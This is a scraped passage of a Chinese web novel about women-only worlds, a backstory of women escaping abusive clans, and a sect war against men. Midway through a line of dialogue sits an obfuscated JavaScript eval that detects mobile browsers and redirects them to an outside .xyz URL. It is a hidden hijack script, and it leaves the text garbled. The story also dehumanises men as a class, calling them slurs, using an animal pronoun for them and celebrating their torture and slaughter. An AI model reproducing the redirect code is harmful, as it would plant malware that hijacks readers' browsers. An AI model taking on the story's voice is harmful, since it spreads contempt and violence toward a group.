至于木匣子,理所当然地被她当成了线索物品带着了。 木匣子:?? 宁秩在深空之渊跳来跳去,像是走在自己家一样。 很快她就找到了众多世界的接入口。 猫猫统治的世界,所有猫猫在看到宁秩后,都被她那强大的气质所吸引,站起来膜拜。 但宁秩发现没什么特别的后,无情地离开了。 鸟类统治的世界,宁秩收到很多漂亮的羽毛,她都做成翅膀和逗猫棒给三花喵了。 神奇电器统治的世界,宁秩手贱地把木匣子改造成各种电器后,又把它变回来了。 木匣子:??? “姐,你有这能力,求你快找我家,带我回去吧!” 宁秩凝视着木匣子,心想果然是线索物品。 通过它的描述,宁秩在无数个小世界之中找到了那个曾经留下姬拾月这个名字的世界。 想了想,宁秩回到深空之渊,把江蔚然的身体还给她,又让木匣子将江少华留给她的东西一股脑倒给她,并且认真告诫她:“好好修炼,不要丢我鬼命人的脸。” 然后在江蔚然一脸懵之中,抓着木匣子去那个世界了。 值得一说的是,宁秩用的是第一次和三花喵见面时所幻化的身体。 她给自己安排了一米九七的身高,所以只有一米八五的江蔚然是稍微仰视着宁秩离去的。 宁秩心里暗爽,偷偷比了个耶。 三花喵:“……” “宿主,你这是要旷工吗?”它语气之中也没有责怪的意思,只是那么一说,“而且,我竟然不知道你这么厉害。” “那当然啦,”宁秩眨眨眼,“猫头,我还有很多惊喜是你不知道的呢。” 自从提灯杀人诉衷肠后,宁秩也懒得掩饰自己的优秀了。 她时常无意间炫耀自己的厉害,并且总是对三花喵这么说。 “你早点和我敞开心扉不好吗?你知道对于一个优秀的人,要时时刻刻表现得没有那么优秀,是多么痛苦的一件事吗?你知道吗?三花!你什么都不知道,发臭!发烂!” 三花喵:“……”无言以对。 宁秩对于去木匣子的世界,也是有自己的一番考量的。 风月居那个神秘人她可是还没有找到呢。 宁秩表示这里的强者她都打了个遍,就算没打的,也了解得个七七八八了,不可能突然出现一个强者她是不知道的。 再结合深空之渊和木匣子的事,宁秩猜测装神弄鬼之人极有可能也是来自异世,与姬拾月同一个世界也说不定。 而且,她还想到,时岳与原文描写大相径庭,也许是受到什么变量的影响。 ……时岳,姬拾月,这两个名字也很像,会存在什么关联吗? “你也知道,那个地方叫生界,生活在那里的除了灵就是女,她们强悍无比,无所畏惧,”程远章说,“就算她们来到这,目的不是为了寻找姬拾月,也不存在她们说的,因为看不惯所以想要改变,我也无所谓。” 祝大娘倒是有不同的看法:“但是现在世界在变好,不是吗?” “也是,你还有个女儿。”程远章在等待通道开启的时间里说,“但你不是也没停止。” 祝大娘笑笑:“这点信任我还是有的。” 木匣子告诉宁秩,她来到的这个奇幻世界叫生界。 “生生不息的生。”它强调。 宁秩看到的是漆黑世界里被点亮的一座桥。 “这是问灵桥。”木匣子说。 宁秩踏上这座桥,无数只幽蓝色的蝴蝶从桥上飞起,美丽得不可方物。 宁秩低头看见水面闪烁着蝴蝶羽翼般的暗光,一条蛇游过,历史片段随之而来。 从人类的诞生,发展,辉煌,再到现在,无数人影闪过。 “我们这个世界是没有男人的,也不容许男人进入。”木匣子说,“这上面都是女,事实上,我们并没有性别这个概念,这是主人在观测到另外一个世界的情况,才翻译过来的玩意。” 宁秩感到新奇,她也走过一些世界,好吧,也没太多,第一个还是首次见到三花喵的那个世界。 “我还是第一次见到从始至终都是女的世界。” 三花喵说:“在这里,有这样的世界的确很稀奇。” “嗯?” 三花喵耐心解答:“一般像这样的世界都得天独厚地强大,也都会冲去能量级别更高的纬度。” 虽然可以继续往上走,但仍然在低等世界、弱能量时空闲逛的宁秩:“也许人家只是觉得好玩,腻了自然会去的。” “也许吧。” 桥看起来不长,但走起来却很远。 “木匣子,你跟我讲讲生界,还有你的主人吧。” 受制于人,木匣子虽然很不耐烦,但还是给宁秩讲了。 “生界除了各种各样的灵,就是女这一种族。” “每个女自诞生以来,就有感悟天地法则的能力。” “时空和秩序、生命与繁衍,她们的能力都与此相关。” “生界女族自远古以来,就有四大祭司。” “超然物外姬和珩,不偏不倚姬禾稻,没事找事姬珠夜,以及我的主人姬拾月。” “别看她平常懒洋洋万事不关心的样子,但关键时刻很靠谱,是几个人之中战力最强的一个。” “她们是每个女死后,记忆所形成的灵,而且一直以来都在接收着每个死后女的记忆。” “很久很久以前,我的主人姬拾月在研究时间与空间法则的时候,碰到了一头自称是虚空兽的强大存在。” “我的主人姬拾月赠送了它很多金铃铛,希望在它离开后也能联系到它。” “可是度过了漫长的岁月,众多个金铃铛都没有响,直到那一天,我的主人姬拾月在其中一个金铃铛中听到了一个小女孩的声音……” 芩川路途遥远,但也没有很远,因为平芜和春山的脚翻过几座大山后,还是来到了这里。 “姐姐,这里有个公告,说新办的女书报刊要收集女性的故事,有些字我不认识,你快过来看看。” “奖励……”平芜走过去,看了会,然后就瞪大了眼睛。 平芜在耳边告诉春山后,春山立刻揭下了公告。 铁婆婆告诉过她们很多故事,这次她们可以传递给更多人了。 汜水娘娘和叶、莫二人的故事总是被歪曲,被改造,或者是被忽视。 芩川学堂是由当地的破山门开办的,只招女学生、女老师。 在这里,很多人第一次听到叶殊归与莫停留等众多女性最完整也是最接近真实的事迹。 “直到那一天,一只黑猫给躺在柴房奄奄一息的叶殊归叼来了一个脏兮兮的金铃铛。” “小黑,你不要再叼乱七八糟的东西来了。”叶殊归现在还不叫叶殊归,她只是季家的一个虜仆,夫人给她取了一个名,抱竹。 “诶,不是老鼠也不是蛇了。”叶殊归走到狭窄的小窗下,踩着木柴,小小的身体跳起来,接过了黑猫口中的金铃铛。 晚上,叶殊归坐在窗边,抱着自己看月亮。 “我明明没有做错,偷东西的是那个男虜,惩罚的却是我……” 她望着天,眼中已经有了泪意,“因为男虜认了男管家做干爹,我也想有一个靠山。” “啧……” 叶殊归被吓了一大跳,她惊得跳起。 “谁!?” “你们这好奇怪,我都听不懂你在讲什么,不过要是被欺负了,打过去就好了,如果对方无理,其她人也会帮你的,为什么想着找靠山?这有什么关联吗?” 叶殊归这才发现是金铃铛传来的声音。 后来叶殊归给自己找了一个靠山,季家大小姐,季如风。 她练习附身法术的时候,不小心到小黑猫身上了。 叶殊归在金铃铛的提醒下,认出来了。 “小黑,我把我最好的饼都给你。” 之后季如风经常附在黑猫上找她玩。 到了后面,选丫鬟的时候,季如风果不其然选择了叶殊归。 叶殊归的日子好了很多,还报了仇。 后来叶殊归和季如风长大了很多,季如风有一天忧心忡忡地告诉叶殊归。 “我爹和我娘给我订了一门亲事,谢家的。” 不久,季家发生了一件事,对于季家来说就像是海面落了一滴雨,毫无波澜,但在她们心中,却是掀起了暴风与骤雨。 一个披头散发的女人从二少爷房间里拿着沾染了血液的花瓶跑了出来。 沙粒细雪飘落在她头上、脸上和身上。 “扶持弟弟,训诫夫君,养育男儿,一荣俱荣,一损俱损。” 她眼角有泪,却仍然笑着,大笑着,猖狂无畏地笑着。 “男子承诺,女子受辱,于是敲骨吸髓,于是为虜为仆。” “李芝月你帮你男儿将我捉来当炉鼎,殊不知你也不过是被你李家送到季家的炉鼎罢了!” “李芝月,季节风,你们不得好死!” 疯女人被关了起来,叶殊归站在季如风旁边,目睹了这一场闹剧。 之后叶殊归发现季如风在偷偷修习禁术。 “如风,这是谁教你的?”叶殊归大惊失色。 季如风沉着个脸:“你就别管了。” 叶殊归没有说话,季如风闭眼,嘴角扯出一个弧度,睁开眼后,做出一副嬉皮笑脸的样子。 “抱竹,如果我不是季家大小姐了,你愿不愿意和我一起去浪迹天涯。” 不待她回答,季如风勾唇,嘲笑道,“什么好亲事,不就是卖女儿,让我去别人家当个炉鼎。” “抱竹,我也想登临巅峰,看看修炼的尽头是什么,你呢,你想吗?” 最后她说,“和我一起吧,抱竹。” 叶殊归说:“好。” “我就知道你会同意的,我的好抱竹。” 离开之前,她们一起把别人口中的疯女人救了出来。 她们放了一场大火,炽烈火光与寒凉冬雪之中,戚成雪把她的孩子托付给了二人。 戚成雪说:“我知道你们想走,你们的目光和我当初在青楼的时候是一样的,别担心,我会帮你们的,也请把我的女儿带走。” “教她杀人,教她禁术,让她强大,让她冷血,让她自私,让她代我看不一样的风景。” 戚成雪沉默了片刻,又说:“不要告诉她,她有我这样一个母亲。” 她们逃了,在戚成雪的目光里,从火的遮掩中,带着人与手中利刃,抛弃身后宅院与鬼影,于风雪之中,逃了。 “我们应该有一个自己取的名字。” 她们来到一个破庙,季如风搓搓手,兴奋地说。 慢慢地,她如鼓的心跳平静了下来。 “我就叫莫停留吧。” ——不为任何人任何事物停留。 “莫停留,”她又念了一遍,问,“你们呢?” 叶殊归想了想,说:“殊归,殊途同归。” 叶殊归早已弄清金铃铛那边是另外一个世界,并且通过她的只言片语了解到那个美好的世界是怎样的。 她渴望自己这个世界有一天能够变成那样。 殊途同归,寄托了她的美好心愿。 想了想,叶殊归又补充道,“叶殊归。” 被卖到季家之前,有一叶姓妇人在她饥肠辘辘之时赠过她一碗粥。 冰天雪地里,叶殊归永远记得粥碗在手中的温度。 从冬到春,冬春轮转,又是几个春秋,汜水河畔,杨柳依依,叶殊归说要去寻找虚空之境。 “这样我们就有保障了。” 莫停留和小刀送别了她。 小刀是戚成雪的女儿,她们还是告诉了她,她的母亲叫戚成雪,她的母亲想让她代自己看不一样的风景。 小刀睁大了眼睛,好像要哭的样子,但是她没有哭,她只是打了哈欠,抱着胸不屑地说:“蠢货,风景只有自己看才有意义。” 莫停留在汜水河畔对小刀说:“你已经七岁了,可以取一个正式的名字了。” 莫停留想要逗她玩,开玩笑地指了指那些杨柳。 “不如就叫柳色吧,多么应景,姓就姓花,好听。” 小刀冷淡地瞥她一眼,目光之中有鄙夷。 她冷冰冰地吐出:“泽川。” “润泽万川吗?” “不是,是天下万川任我而择。” “择川。” 汜水之河,河沿有杨柳倒影,河中波涛汹涌,向东奔流,亘古不变。 两人从岸边走过,拂晓到黄昏,江面与杨柳之风,似汜水娘娘叹息。 “天下女人,殊途同归。”叶殊归和莫停留对同一性别的女人总是会有一种莫名其妙的心软。 择川一直以来都是默默跟着她们,为她们挥刀,见过万千面孔,并不多言。 可是终有一天,在村子里救了一个被瘦弱丈夫欺压多年的女人后,择川提着刀,盯着刀尖,语气冷漠地说:“没必要救。” 莫停留问她是何意。 “软弱之人无需救,救了这次也还有下次。” “……”莫停留失语,而后摇摇头,笑着说,“她也不是天生软弱的。” “每个都救,你救不了。” “能救就救,不过你这小丫头,在说什么呢,搞得我好像圣人一样。”莫停留潇洒地甩了甩头,“我只是路见不平,拔刀相助,纯粹是为了自己高兴。” “如果救错了,也只能说明我救错了。”莫停留走在前面,“没什么好在意的。” 择川跟着后面,小声:“反正我是不会救,我只救……” “那些连自己的弱点都……早晚的事……没用的东西……死了也活该。” “你在后面嘀咕什么呢?”莫停留伸伸腰,反头看她,“还不快走。” 后叶殊归带来了虚空之境,同时还救下了一个名叫卫麟的女子。 “季、谢、李、赵四大家族,牠们要……” 培养炉鼎……直接从女人身体里提取真气…… 莫停留为了获取具体情况,决定回到季家,以季如风的身份深入调查。 “不用担心,”莫停留不在意地挥挥右手,叼着个狗尾巴草躺在大石头上,“你们听说了没有,谢家还出了一个谢环遥,掌控了半个谢家,说不定我回季家,也能把季家搞来玩玩。” 择川见到季如风名义上的未昏夫,谢家谢白衣。 别人都说牠芝兰玉树,风流倜傥,反正就是上天入地难得一见。 但择川还没见到牠就开始讨厌牠了,见过牠后便开始极度厌恶穿白衣又貌美的男子。 听着一些女子吹捧,择川更是恶心得吃不上饭。 直到未来,她亲手折磨这些仅仅是因为长得好看一点就被某些女人捧上神坛的男人,心里才好受一点。 没有人比她更能欣赏男人的痛苦。 经年后,择川厌恶的谢白衣死在了问秋谷。 如果可以选择,择川宁愿没有问秋谷之役。 因为这样她也能在长大后继续跟在莫停留、叶殊归身后挥刀,雪亮刀尖滴落血珠,笑声不息。 问秋谷,血流了满地,入目皆是红色,刺目的红。 “我祝福天下女子不为虜不为隶,不必受困于囚笼,展翅高飞于天地间!” 所有人都倒了下来了,只有叶殊归与莫停留二人相互扶持着,用剑支撑着身体,血泪横流,高声喊着。 “我诅咒所有将苦难加诸于女子身上的人,此生此世,永受灾难,不得登大道!” 那一日,夕阳无限好,四大家族只余一,择川牵起二人,和卫麟一起,带着活下来的姐妹,摇晃金铃铛,来到虚空之境。 可叶殊归、莫停留伤了根基。 叶殊归活了两年,就离开了。 莫停留也在一年后追随着她去了。 择川不让大家叫自己择川了。 “花柳色。”她说。 她一个还未长大的小孩蹲在那里,天天研究什么灵魂复活之术。 虚空之境发生了很多变化,一些人想念家人,一些人出去结昏,还有一些人老死了。 后来有一个结了昏的女人来感谢择川她们,花柳色冷笑。 “假惺惺,怪恶心。” 卫麟说:“虽然我不会结昏,但是她们结昏我也无法责怪。” 花柳色惊诧看她:“你忘记我们、多少姐妹曾经受过男人的欺压?现在她们却要因为男人放弃我们,放弃虚空之境!” 花柳色接受不了,气言,“根本就不值得莫停留、叶殊归救。” 卫麟无言,只说:“也不是毫无价值,她们选择成为母亲后,就会多一些女儿受到保护,多几个男儿被教育。” 花柳色呵笑一声,冷冷道:“最好是。” 而后又凝视她,“卫麟,你不会也想出去结昏吧?” 卫麟感觉自己受到了侮辱,情绪激烈道:“我知与男子结昏是何等吃女的事,又怎会!更何况叶殊归救下我时,我就发誓一生追随了,你休要羞辱我。” 花柳色神色缓和:“若是如此,是我误会了。” 但卫麟找了很多漂亮的男子,夜夜笙歌。 花柳色总是喜欢用刀割断牠们的脖颈,把牠们做花肥。 “你也背叛了我们。”花柳色对卫麟说。 卫麟被花柳色冰冷的目光吓到了,她摇头,后退,神色之中有一瞬惊惶,后又恢复镇定。 “我视牠们为玩物。” 卫麟压下心中不安,“男人可做之事,我也可做。” 花柳色还是冷笑:“本来没有男人的。” 犹豫片刻,卫麟还是说了:“我娘亲说过,可以没有男人,但一定要有一个孩子,这是她的遗愿。” 卫麟的娘亲是为她而死的。 后来卫麟怀孕了,花柳色笑得更加嘲讽。 卫麟生下了一个男儿,取名叫卫辰风,她叹息着说可惜不是女儿身。 “不负众望,又要为男人捞好处了吧。”花柳色神色讥讽,冷冷地说。 “不,”卫麟摇头,“我会教育好牠的,是你的还是你的。” 但最后卫麟把她的修为传给了卫辰风,卫辰风凭借母辈的修为高出了花柳色一截。 卫辰风说:“母亲最后说,魔门之后由我代管。”牠说这话时,眼睛一眨也不眨,只是手在衣袖中轻颤。 “……”花柳色。 芩川学堂,历史只是被讲了一些,已经下课,学生也不离去,绕在老师旁边,感慨万分,说着什么。 窗外下起了雨,小雨霏霏,细丝连天,飞檐滚珠,鸟在巢中,草木苍翠。 魔门也下了雨,有人打伞,也有人不畏风雨,从容淡定,孤身行于其中。 雨停以后,花柳色从漫长的睡梦之中醒来。 要感谢江蔚然,魔门现在已经看不到一个男人了,花柳色勾了勾唇。 一只黑猫扑了上来,花柳色无视地走开。 现在的花柳色还不知道,在不久的将来,知道黑猫是莫停留执念所化后,她会多么狼狈地去讨好它。 月升把黑猫抱走:“小黑猫乖,我们以后都不理会这个坏人。” 小黑猫趴在月升肩膀上,出去后,悲伤地溜走。 它在魔门跑来跑去,浑身上下都是忧伤的气息,经过一座坟墓的时候,闪闪亮亮绿色的东西飘入它的体内。 小黑猫喵了一声,又喵了一声,它好像多了一些记忆,它逐渐理解周围的一切。 在小黑猫的眼睛里,正在放映一个画面。 一个高高壮壮的女人对另外一个高马尾意气风发的女人说:“你可要记好了,这可是复活的方法。” “灵?奇奇怪怪的,死了就死了,有什么大不了的。” “这可是我求了半天,才从……反正你要记好了,机会只有一次,不能让别人知道,不然就会失效。” “我嘛,成为灵要经历很多事,吃很多苦的,我更想回归天地之间,莫停留,你一定要成功,代我看一看往后的世界究竟有没有变得更好……” “蠢货,应该自己亲自去看啊,自己亲自去看才有价值!” “那好吧,我们都努力,一起成为灵……” 小黑猫看着自己旁边的坟墓,气得喵喵叫。 骗子!喵! “我在这呢。” “喵?” “想不到吧,我长在了你的坟头。” 下雨后,蚯蚓从地底爬了出来,祝缨带着一些女宝拿着个竹筐说是要去抓鱼。 时岳说好,早去早回,别忘了今晚的功课。 “知道啦,知道啦,时岳姐姐。”像旋风一样,迫不及待地离去了。 时岳嘴角微微一笑,摇摇头,哼着小曲,来到离这有点远的酒馆,点了一只烧鸡。 说书人在说世间变化,讲天下女子的志向。 忽然,时岳目光一凝,扫到了一楼角落的漆红木桌旁边坐着几个神情麻木的男子。 时岳什么都没有做,很快又移开了目光,扯了一只烧鸡腿,整个鸡腿焦黄崩脆,油亮诱人,入口又肥嫩相宜,酥香可口。 吃到一半的时候,那几个之前注意到的男子出了酒馆,时岳付了钱,也拿着剩下的烧鸡跟了上去。 从热闹的街道跟到小巷,时岳把吃剩下的鸡骨头扔到牠们头上,她坐在高高的地方。 “喂。” 几个男人寻找声音来处,同时又迅速后背相靠,严阵以待。 牠们如临大敌地看过去,然而就在看清是谁后,膝盖一软,双腿就跪了下去。 “大人、求求你放过我吧!”几个男人神情凄怆,泛红的眼睛里满是痛苦。 时岳看着牠们,并不言语。 “天世宗已经被你灭掉了,何必抓着我们这几个小喽啰不放呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802861|158440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 时岳看着牠们狼狈的模样,骤然冷笑一声,轻飘飘地说:“天世宗供给你们资源时你们心安理得接受,天世宗作恶时你们视若无睹,现在倒是想撇清关系了,没门。” 大难临头,几个男人各自跑,但没几步,就浑身爆炸碎在了地面。 女钺宗发展至今,有不少男男宗门看不顺眼,想要搞掉她们,但都被她们解决了。 “我们要离开了。”天道系统003说,“我们的创造者在召唤我们。” 虽然早知道有这一天,时岳还是有些怅然。 “这么快……” “嗯,”003说,“接下来要改变什么,又怎么一直保留这些改变,应该是由你们自己去实施了。” “时岳,遇见你很开心,接下来你尽快将所有奖品全部兑换完毕。”003语气轻轻,“再见。” 时岳沉默,然后也说:“再见。” 她们大概还有一个月相处时间。 天下没有不散的宴席,时岳感伤了一会,便思考起了另外一件事。 时岳遇到很多姐妹的同时,也面对了不少质疑。 只是…… 天突然黑了下来,然后时岳站在了聚光灯之下,一个个幻象在眼前浮现。 一瞬间,两个世界的那些声音在这里交汇,在时岳耳边响起了。 “你别看王阿婆大雪天被男儿赶出来无家可归很可怜,但你要是为她说一句话,说她男儿一句不是,你就会被她骂得个狗血淋头了。”十六岁时,时岳站在一棵很大的桂花树下,一个朋友对她这么说。 “我也没办法啊,异性恋就是喜欢男人。”时岳轻嗤,没见过谁说自己天生就是喜欢吃屎的,哪怕是最下贱的虜隶,也不会在对方在自己头上拉屎的时候仍旧割舍不下。 “我过得好好的,就是你们这群疯子把我爱的男宝杀死了!”时岳和祝缨到一个村庄处理潜伏在女钺宗附近残余的天世宗反动势力离开时,一个被男宝从小到大汲取养分的女人咬牙切齿、凶恶地大喊着。 “啧。”时岳操控着自己回头,看着女人,目光不屑,轻声,“现在是我们姐妹,我们女人要赢了,你们的看法对我们、对历史毫无价值。” 女人不敢动,因为祝缨把剑尖抵在了她的脖颈之上,而时岳的目光好像是透过她看到了一个即将崩塌的、腐朽的庞然大物。 画面又跳转到原始社会的时候。 森林边缘,族人围坐在篝火旁边,时岳听到大长姥严肃、忧心忡忡地讲述了最近发生的事。 原来这件事是这样的,鲁莽、冲动易怒、头脑简单、情绪不稳定、总是发情、有时还会伤害幼崽的男人长大后会被母亲驱逐出去自谋生路,可是被驱逐出去的男人为了抢夺女人的创生成果,联合起来将一些落单的女人抓起来,逼迫她们生崽,有些贱男即使是自己死了也要让其它男有女人可以掠夺。 在她们部落西边河的对岸就来了一群因为逼迫女人毫无节制地滥生才能够壮大起来的父系部落男人。 牠们目光眈眈渴望着攻占她们的家园,抢走她们的粮食、工具与身体。 大长姥在讲作战计划。 她沟壑纵横的老树皮一样的脸上写满威严,期间她说:“再多准备三百把石矛、石钺和弓箭。” 听到这里,始终一言不发的时岳站了起来。 “不用了,我带大家看烟花。” 随后她从身后凭空掏出了一个闻所未闻、见所未见的怪东西。 她只是随手一扔,那东西就飞向空中,越来越大,越来越大,最终落地,激起一地扬灰。 部落族人见此等怪兽,都大吃了一惊。 时岳解释:“这叫大炮。” 时岳虽然知道自己是被困在了幻境之中了,但她还是要折磨一下这群贱男。 大炮打过去的时候,贱男吓得疯狂逃窜,时岳和周边的人都哈哈大笑。 火光映亮了巨大的树木,凄刺痛苦的贱男惨叫声即使响了没多久就消失了,也吓坏了远远躲在后面观望的其它贱男。 值得一提的是,时岳搞出的这个大炮是自带火光渲染效果的巨型豌豆,只会飞过去把这群贱男的身体炸裂,非常地爱护环境。 “贱男都炸成肉泥了哈哈哈。”时岳叉腰大笑。 有个穿着虎皮的小少年站在一旁拍手叫好:“炸得好炸得好!” 忽然,时岳感觉到整个幻境都猛地抖了一下。 时岳愣了几秒,随后都要笑疯,看来是那个幕后贱男破防了咯咯咯。 果不其然,下一次就来幺蛾子了,贱男把女人绑起挡在牠们前面。 时岳没犹豫,立刻放了大炮。 女人们绝望地闭上眼睛,贱男们很意外,部落族人也了愣住了,所有人都始料未及。 然后出乎意料,豌豆会转弯地专门去攻击男人。 又是贱男凄厉绝望的惨叫,又是幻境颤抖,比上一次还要剧烈。 这次画面直接一转,一个高高的舞台上,几个猥琐男正在表演一个节目。 节目里牠们高高在上欣赏着遭受办公室性骚扰女性的痛苦,却还表明这只是揭露现实,为女性说话。 时岳来到座位之中“时岳”的身体里,但却只能感受不能操控身体。 时岳在心里啧了一声,但也没再动作了。 也不是不能,只是刚好没事做,时岳想,她倒是想看看这个幕后贱男想让她看什么。 随后时岳感到“时岳”极其不适。 “时岳”忍无可忍,站起来打断指出,并义正言辞骂了一番。 大家纷纷同意,可“时岳”没感到欣慰多久,猥琐男表演者们发表了一番冠冕堂皇的话,于是女人又纷纷反水,为牠们的“好男人”行为露出赞赏的目光,还鼓掌。 “……”时岳。 “时岳”气得浑身发抖,她想问问她们,是看不见吗?她可是清清楚楚看见猥琐男戴上“好男人”面具得到赞扬后露出得意洋洋笑容。 时岳嘁了一声,她还以为会有什么可怕的东西呢。 视线从远到近,“时岳”又看到她周边只有一两个翻了白眼,而且她们脸上化着很浓很怪异的粧。 “时岳”感到些许安慰的同时又略微有些失望,但又没那么绝望,又觉得没什么可望的。 时岳拥有这种感觉是好久之前的事了,现在她只想说,别望了姐,你最应该做的事是关心自己。 幻境告诉时岳,现在就是她刚刚经历的母系氏族世界的后世。 时岳简直要被幕后贱男给逗笑了,她也不慊麻烦,不慊烦,像个猴子一样窜出去,飞快地给在场的每一个人都打了一个响亮的耳光。 不知打了多久,然后她站在中间过道的位置冷冷道。 “还要躲到什么时候,我早就发现你了。” 一个穿着黄绿色衣服、脸色惨败、打着腮红、长相像鲶鱼的男人被时岳揪进幻境之中了。 “你不是此间的人。”男人开口就是这一句,“你和那些奇怪之人有什么关系?你们又有什么阴谋?” 时岳懒得跟贱男说话,她没有阻拦贱男探知到自己的部分记忆,也是因为她宽容大方不与死人较劲。 男人见她不说话,自顾自地说道:“你们女钺实在罪恶,虽然我支持世间女子掌握自己的命运,但这不代表女人就可以爬到男人头上了。” 说话的时间里,时岳周边的人都变成了惨白色的、两颊腮红的纸人,它们轻飘飘地荡着自己的下身,在偌大的大厅显得格外诡异。 “嘁。” 贱男,男人在女人头上拉屎又作威作福的那么多年你是死了吗? 反正是在幻境之中,时岳直接凭空拿出了一桶石油。 她看着周边冲着她阴森森笑着靠近的纸人,微微勾起唇角,提着汽油,扶住绿色铁桶的两端,身体一个旋转,起跳又落地,将石油倒地上,泼它们身上。 然后又掏出打火机,点燃它们,都烧了它们。 时岳将贱男留在了幻境之中永久地被火灼烧。 贱男望着时岳离去的背影,笑了:“你以为你赢了吗?不,我的任务只是拖住你而已。” 时岳停住了脚步,贱男心中一喜。 “那你们天世宗也太小看我们了。” 从头到尾,她们都知道这群逃出去的贱男有何打算。 “你且看看吧,这世间不会如你们愿的。”最后时岳嘴角噙着笑,平静地说。 贱男在被烧伤的剧烈疼痛之中,绝望又不甘地瞪大死鱼眼。 一路走来,时岳她们是遇到过一些质疑与诘难,有过困惑,也想过甩手不干,但最后还是走了下去。 时岳从前不会因为质疑就轻易不走下去了,现在仍旧,更何况是在幻境之中。 毕竟她也是在争夺自己的利益,不是吗? 当一个女人想要争夺利益的时候,就会变得很邪恶。 也许这个女人自己不觉得,但至少在别人口中这个女人是邪恶的。 时岳想,这个贱男又是挑拨离间,又是苦难书写的,对于一个下定决心要变得邪恶的女人来说,也太可笑了。 时岳回去的时候,看到审月和齐照灯她们抓到了不少出逃的天世宗徒男。 “杀掉牠们,不摇山就彻底属于女人的了。”祝缨一拍手,兴奋地说,“而且啊,黑风寨到瑶城的地方,就再也没有可以威胁到我们的势力了。” 时岳说:“这样很好。” 紧接着她又说,“但这只是个开始。” “现如今世间大大小小、数不胜数的门派建立了起来,但又各有差别。” “在一些事情的处理上难免会有所不同。这没什么,只要天下女子一条心便好。” “我只是怕会有门派因为太过宽容,步叶、莫二人的后尘啊。” 祝缨立刻提议道:“不若择一佳地,邀天下英雌共议女子当家事宜。” 时岳:“此事甚好。” 于是宁秩在生界呆了一段时间,带着姬珠夜来到此方地界后,就听闻了天下女子大会即将在东陵召开之事。 街上男人并不是很多,姬珠夜左右都看看,“一开始我还以为她们这所谓的性别之分是与族群之别相关的词汇,是在一个大类的下面再分一个小类的意思,后来凭借金铃铛,偶尔,也就是偶尔用花柳色的身体来看看姬拾月所说的这个世界才知道,原来性别只是用来区别虜隶跟虜隶主的词语。” “虜隶跟虜隶主?”宁秩笑了,夸道,“你可真幽默。” “可不是嘛,明明整个族群都是她们繁衍而来的,还要依附外姓家庭,把自己的孩子供给别人。” 母亲,女儿,女儿的女儿,都分散到不同的地方,去不同的家庭做虜隶。 “我用得准确吗?”姬珠夜又问。 “很准确。”宁秩回答。 于是姬珠夜笑了起来,笑容很明媚。 “那当然了,拥有沟通所有种族的能力,可是我们的天赋。”姬珠夜骄傲地说。 生界女族是没有语言的,她们用气息传递信息,但很神奇的是如果她们遇到与自己不相同的族群,就能够获得对方的语言。 天生翻译家种族。 宁秩之前走过问灵桥,姬珠夜就站在那里,看到她,并不惊讶,她没有张嘴。 宁秩感受到一阵很奇特的气息波动,却听不到她的声音。 木匣子告诉宁秩:“姬珠夜大人在说,她就知道你能发现她。” “你看我一时高兴都忘了,我叫姬珠夜,很高兴是你先我一步找到我。”姬珠夜这次用了江蔚然世界的语言。 也是宁秩跟着三花喵游玩的第一个世界的语言。大概是这些小说都是由同一个世界的人所创作的,语言体系都大差不差。 “我要去找姬拾月。”姬珠夜又说。 天下女子大会召开前一段时间,东陵宫殿周边熙熙攘攘皆是人。 宁秩走在路上,腰间挂着她的折扇,姬珠夜笑容灿烂,伸长身子,边走边买,热情洋溢地同大婶讲价。 早在大会有一点影子的时候,附近不少商贩就都拖摊带货闻讯而来,守在东陵宫殿之外规定的街道井然有序地招揽顾客了。 “我从知道你开始,就想要和你做朋友了。”姬珠夜神情真挚、格外真诚。 “我看出你十分地厌恶那两个贱男,所以才杀了牠们。” “这都是因为我想要吸引你的注意。” “因为在这之前,我已经被你深深吸引了。” “很不想说的是,我表现得那么开朗活泼、洒脱随性、武功高强,但我从小就没有看过猫后空翻,其实是个阴暗又自卑的人。” “可是宁秩,你不同,你那么好,那么强大,那么耀眼,还那么有钱,就像一束光照亮了我死寂的心河。” “也许人这一生就会为自己所没有的东西而求之不得。” 宁秩一边走一边掏出银钱,嘴角弧度越来越大,怎么也拉不下。 “这些够了没有?” “钱不是必要的,”姬珠夜一边接过银钱一边面不改色地说,“重要的是这是你给我的。” “我的朋友,宁秩,我可以为你做什么?” “什么也不必为我做,”宁秩从腰间拿起折扇,昨日才新配的扇坠轻晃,她优雅至极地展开扇面遮住半张脸,露出像鳞片一样的绿眼睛,“你很有眼光。” 姬珠夜怔愣片刻,微笑着说:“那当然啦。” 宁秩唇角微勾,笑眯眯的样子,看起来很高兴。 三花喵受不了一般地在宁秩耳边插了一句:“她在骗你。” “我知道,”宁秩不甚在意地对三花喵说,“有时候就是要这样听听美言,三花,你也学着点。” 三花喵:“……” 才走了一小段路,姬珠夜手中、肩上满满都是东西。 宁秩看了一眼,对她说:“放我储物袋里吧。” “等下溜进去看看,她们这个天下女子大会开了个什么。” 顿了顿,宁秩又说:“我们再去买点吃的。” 买好烧鸡和各种糕点后,回去路上她们瞧见了花柳色。 月升也跟在旁边左瞧右看的。 宁秩惊奇地注意到花柳色面带微笑地看着月升……怀中抱着的一只绿眼睛黑猫。 黑猫头上长了一根草,它喵喵叫几声,随后就跳到了花柳色肩膀上。 花柳色也不生气,真是见鬼了。 姬珠夜面露惊讶,说:“这怎么会有灵呢?” 想了想,姬珠夜若有所悟地说:“我知道了。” “她怀中的应该是叶殊归和莫停留。” 姬拾月曾经向她们提过一嘴。 “异界之人竟然可以修得灵,果然是万里挑一、天才中的天才。” 很快花柳色一行人就消失在人群中了。 天下女子大会在巳时召开,宁秩和姬珠夜大摇大摆地走进去,无一人阻拦。 笑死,根本就没看见她们,怎么阻拦? 宁秩表示自己的天下第一可不是白拿的。 进去后,她们飞身而起,找了一个很粗的房梁坐着。 大殿里还挺多人的,时岳她们把男帝杀死后了,又把皇位拆了,改造成会议厅。 